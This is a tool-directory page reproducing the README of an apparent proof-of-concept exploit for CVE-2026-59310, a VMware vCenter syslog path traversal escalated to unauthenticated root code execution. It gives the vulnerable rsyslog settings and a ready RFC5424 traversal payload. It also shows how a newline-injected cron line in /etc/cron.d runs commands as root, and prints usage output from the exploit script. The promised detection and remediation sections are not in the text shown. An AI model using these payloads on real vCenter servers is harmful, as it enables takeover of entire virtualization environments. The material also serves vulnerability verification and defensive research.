Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-59310-POC — Python PoC and exploit for CVE-2026-59310, a VMware vCenter syslog path traversal leading to unauthenticated root RCE via cron injection, with detection and cleanup guidance. | Kitploit
Tools/GitHubGitHub/chinaran0/cve-2026-59310-poc
Privilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationPost-ExploitationPenetration TestingRed TeamingIncident ResponseRemote Access ToolPayload Development
GitHub
552524 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
chinaran0/cve-2026-59310-poc

CVE-2026-59310-POC

Python PoC and exploit for CVE-2026-59310, a VMware vCenter syslog path traversal leading to unauthenticated root RCE via cron injection, with detection and cleanup guidance.

View Repository

CVE-2026-59310 — VMware vCenter Syslog Directory Traversal Leading to Unauthenticated RCE

Disclaimer: This project is intended solely for authorized security testing, vulnerability verification, and defensive research. Please use it only in environments where you have obtained explicit written authorization. Users are solely responsible for any consequences arising from misuse.


Table of Contents

  • Vulnerability Overview
  • Affected Versions
  • Root Cause
  • Exploitation Chain
  • Environment and Reproduction Verification
  • Script Reproduction
  • Detection and Self-Check
  • Remediation Recommendations
  • FAQ
  • References

Vulnerability Overview

ItemContent
Vulnerability NameVMware vCenter Syslog Directory Traversal Vulnerability
Vulnerability IDCVE-2026-59310
Vulnerability TypeDirectory Traversal (Path Traversal) → Arbitrary File Write → Remote Code Execution
CVSS 3.19.8 (Critical)
PrerequisitesOnly requires reachable syslog port (default UDP/TCP 514), no credentials needed
ImpactWrite to arbitrary paths and execute arbitrary code with root privileges
Disclosure Date2026-07-29
In-the-Wild ExploitationObserved
Vendor AdvisoryVMSA-2026-0006

The built-in syslog receiving service (rsyslog) in vCenter uses a dynamic path template to store logs. The template directly concatenates the APP-NAME and HOSTNAME fields from the message header into the file path without any path sanitization. An attacker can send a specially crafted message to a reachable syslog port, causing the write path to escape the intended log directory, and then combine this with scheduled tasks to achieve arbitrary code execution.

vCenter is the virtualization management hub; once compromised, it is equivalent to the entire vSphere / VCF environment being compromised.


Affected Versions

Affected Versions (below the following fixed versions)

BranchAffected RangeFixed Version
9.1< 9.1.0.03009.1.0.0300
9.0< 9.0.2.01009.0.2.0100 (Build 25629525)
8.0 U3< 8.0 U3k8.0 U3k
8.0 U2< 8.0 U2f8.0 U2f
8.0 Initial Release / U1AllUpgrade to 8.0 U3k or later via supported path
7.0Corresponding extended support patch not installedContact Broadcom for patch, or migrate to a supported version

Also affected: Standalone vCenter deployments, as well as affected vCenter components used in VMware Cloud Foundation, VMware vSphere Foundation, and VMware Telco Cloud.

Verified Environment: VMware vCenter Server 9.0.2.0 / Build 25148086, earlier than the fixed version 25629525, confirmed to be in an unpatched state.


Root Cause

1. Dynamic Path Template Directly Concatenates Untrusted Fields

/etc/rsyslog.conf (VMware factory default configuration):

29: $template defaultLoc,     "/var/log/vmware/%app-name%/%app-name%-syslog.log"
33: $template rsyslogadminLoc,"/var/log/vmware/%app-name%/%app-name%-syslog.log"
35: $template esxLoc,         "/var/log/vmware/esx/%hostname%/%hostname%-syslog.log"

%app-name% is used both as a directory name and a file name, with no path sanitization.

2. Overly Permissive Selector

63: :app-name, startswith, "rsyslog" ?rsyslogadminLoc;rsyslogadminFmt

Only prefix matching is required; an attacker can use rsyslog/... to match this rule and enter the dynamic path template.

3. Newline Passthrough (Key to RCE)

24: $EscapeControlCharactersOnReceive off

Newlines in the message content are written to disk as-is, allowing an attacker to control the line structure of the written file.

4. Core Bypass Point: Inconsistent Behavior Between RFC3164 and RFC5424 Parsers

This is the most easily overlooked aspect of this vulnerability.

  • RFC3164 (pmrfc3164): Uses a character whitelist when parsing the hostname; / is not permitted by default, causing APP-NAME to be truncated at / → traversal not possible.
  • RFC5424 (pmrfc5424): APP-NAME is an independent space-separated field, no character whitelist validation is performed, / and .. are preserved as-is → traversal possible.

The server's input(type="imudp" port="514") uses the default ruleset, which also accepts RFC5424 messages. An attacker only needs to format the message as RFC5424, and the traversal characters can reach the file path directly.

Empirical comparison (same payload rsyslog/../../../../tmp/x):

ParserActual %app-name% Value
pmrfc3164rsyslog ← truncated at /
pmrfc5424rsyslog/../../../../tmp/x ← fully preserved

Corroborating evidence: A pure .. will be created as a literal directory name (e.g., rsyslog..), indicating that rsyslog's omfile layer does not perform .. normalization; what truly determines success is whether the parser can pass / into the field.


Exploitation Chain

① Unauthenticated UDP packet  →  ② RFC5424 APP-NAME carries traversal  →  ③ Escape log directory for arbitrary write (root)
                                                          ↓
                     ⑤ root code execution  ←  ④ Plant scheduled task in /etc/cron.d

Steps ①②③: Unauthenticated Arbitrary File Write (root)

<134>1 2026-01-05T12:00:00Z h rsyslog/../../../../tmp/PWNED 1 ID - hello

Substituting into the template:

Directory = /var/log/vmware/rsyslog/../../../../tmp/PWNED  →  /tmp/PWNED
File      = same as above + "-syslog.log"                  →  /tmp/PWNED-syslog.log

Result: A file owned by root is written to /tmp/PWNED-syslog.log, missing parent directories are automatically created, and the content is fully controllable.

Steps ④⑤: From File Write to RCE

The written filename always ends with -syslog.log, so it cannot directly overwrite /etc/cron.d/xxx. However, by leveraging newline passthrough, newlines can be injected into the MSG, allowing controllable content to start from column 0 of the file:

2026-01-05T12:00:00Z info rsyslog/../../../../../etc/cron.d/poc    ← cron reports "bad minute", ignored
* * * * * root /bin/sh -c '{ id; } > /tmp/out.txt 2>&1'             ← executed as a valid cron line
#

crond schedules and executes as root, obtaining:

uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)

Alternative Landing Paths

  • VAMI Static Resource Directory: Write to /opt/vmware/share/htdocs/ (lighttpd listening on 5480), then read via https://<target>:5480/..., consistent with the vendor advisory description.
  • /var/spool/cron/root: This directory can be written to, but requires a file named root itself, which is restricted by the -syslog.log suffix, so /etc/cron.d/ is more direct.

Environment and Reproduction Verification

ItemValue
TargetVMware vCenter Server 9.0.2.0, Build 25148086
Fixed Version9.0.2.0100, Build 25629525
rsyslog8.2306.0-4.ph5 (VMware custom package)
syslog PortsUDP/TCP 514, TCP 1514 (TLS)
Authentication RequiredNone

Verification Results

Arbitrary File Write (Unauthenticated)

$ python3 exploit_cve_2026_59310.py <target> --check
[i] API namespace version: 9.0.0.0  (not appliance build, for fingerprint reference only)
[*] APP-NAME    : rsyslog/../../../../../tmp/cve59310_check_<name>
[+] Sent. Expected to create a root-owned file on the target

# On the target:
-rw-r----- 1 root root 102 /tmp/cve59310_check_<name>-syslog.log

Command Execution (root)

Download Tool